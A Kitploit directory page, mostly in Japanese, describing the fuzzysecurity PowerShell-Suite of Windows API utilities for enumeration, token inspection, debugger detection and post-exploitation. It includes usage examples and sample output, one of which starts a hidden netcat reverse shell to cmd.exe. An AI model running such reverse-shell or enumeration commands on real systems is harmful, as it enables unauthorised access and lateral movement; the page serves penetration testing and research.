Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PowerShell-Suite — PowerShellに関する私の雑感 | Kitploit
ツール/GitHubGitHub/fuzzysecurity/powershell-suite
特権昇格横移動デバッガフォレンジック情報収集ポストエクスプロイトバイナリ解析レッドチーミング
GitHubfuzzysecurity/powershell-suite

PowerShell-Suite

PowerShellに関する私の雑感

リポジトリを見る
2.7k763194年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PowerShell-Suite

優れたツールやリソースがオンラインにあり、PowerShellでほとんどすべてのタスクを達成できます。しかしながら、特定の目的のためにユーティリティをスクリプトでまとめたり、存在論的なギャップを埋める必要がある場合もあります。これは、私が楽しみのため、または特定の用途を念頭に置いてまとめたPowerShellユーティリティのコレクションです。

したがって、それらから得られる成果は人それぞれ異なるかもしれませんが、遠慮なく問題を投稿したり、フォークして適用したりしてください!

Windows API

PowerShellからWindows APIにアクセスする際に参照すべきリソース:

  • FuzzySecurity: PowerShellから低レベルWindows APIにアクセスする
  • Microsoft TechNet: PowerShellを使用してWindows APIとやり取りする
  • Exploit Monday: 内部.NETメソッドとリフレクションを介してPowerShellでWindows APIにアクセスする
  • Exploit Monday: Deep Reflection - PowerShellで構造体と列挙型を定義する

Invoke-Runas

Windows の「runas.exe」と機能的に同等で、Advapi32::CreateProcessWithLogonW を使用します。``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1

Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2

### Invoke-NetSessionEnum

Netapi32::NetSessionEnum を使用して、ドメイン参加済みマシン上のアクティブなセッションを列挙します。```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName

Invoke-CreateProcess

Kernel32::CreateProcess を使用して、PowerShell からプロセス作成をきめ細かく制御します。``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1

Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

### Detect-Debug

PowerShell からカーネル/ユーザーモードデバッガーの存在を検出するためのさまざまな手法を紹介します。```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug

[+] Detect Kernel-Mode Debugging
    [?] SystemKernelDebuggerInformation: False

[+] Detect User-Mode Debugging
    [?] CloseHandle Exception: Detected
    [?] IsDebuggerPresent: Detected
    [?] CheckRemoteDebuggerPresent: Detected
    [?] PEB!BeingDebugged: Detected
    [?] PEB!NtGlobalFlag: Detected
    [?] DebugSelf: Detected

Get-Handles

NtQuerySystemInformation::SystemHandleInformation を使用して、指定されたプロセス内の開いているハンドルのリストを取得します。x32/x64 で動作します。``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288

[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer

[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects

PID ObjectType HandleFlags Handle KernelPointer AccessMask


2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...

### Get-TokenPrivs

プロセスへのハンドルを開き、Advapi32::GetTokenInformation を使用して、プロセストークンに関連付けられた特権を一覧表示します。```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836

[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:

LUID Privilege
---- ---------
  19 SeShutdownPrivilege
  23 SeChangeNotifyPrivilege
  25 SeUndockPrivilege
  33 SeIncreaseWorkingSetPrivilege
  34 SeTimeZonePrivilege

Get-Exports

Get-Exports は DLL のエクスポートを取得し、オプションで C++ ラッパー出力を提供します(ExportsToC++ と同一ですが、VS やコンパイル済みバイナリは不要です)。これを実現するには、DLL バイトをメモリに読み込んでから解析します(LoadLibraryEx は使用しません)。そのため、PowerShell のビット数に関係なく、x32/x64 DLL を解析できます。``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll

[?] 32-bit Image!

[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8

Ordinal ImageRVA FunctionName


  1 0x000242A0 UbpmAcquireJobBackgroundMode
  2 0x00004750 UbpmApiBufferFree
  3 0x00004E30 UbpmCloseTriggerConsumer
  4 0x000135E0 UbpmInitialize
  5 0x00008D00 UbpmOpenTriggerConsumer
  6 0x000242C0 UbpmReleaseJobBackgroundMode
  7 0x00013230 UbpmSessionStateChanged
  8 0x000242E0 UbpmTerminate
  9 0x00003BD0 UbpmTriggerConsumerConfigure
 10 0x000040C0 UbpmTriggerConsumerControl
 11 0x00025B10 UbpmTriggerConsumerControlNotifications
 12 0x00025B40 UbpmTriggerConsumerQueryStatus
 13 0x0000E1B0 UbpmTriggerConsumerRegister
 14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
 15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
 16 0x00005330 UbpmTriggerConsumerUnregister
### Get-SystemModuleInformation

NtQuerySystemInformation::SystemModuleInformation を使用して、読み込まれたモジュールの一覧、そのベースアドレスとサイズを取得します (x32/x64)。```
PS C:\> Get-SystemModuleInformation

[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects

ImageBase          ImageSize ImageName
---------          --------- ---------
0xFFFFF80314C0D000 0x749000  \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000   \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000    \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000   \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000   \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000   \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000    \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000   \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000   \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000   \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000   \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...

Expose-NetAPI

ツールをダウンロード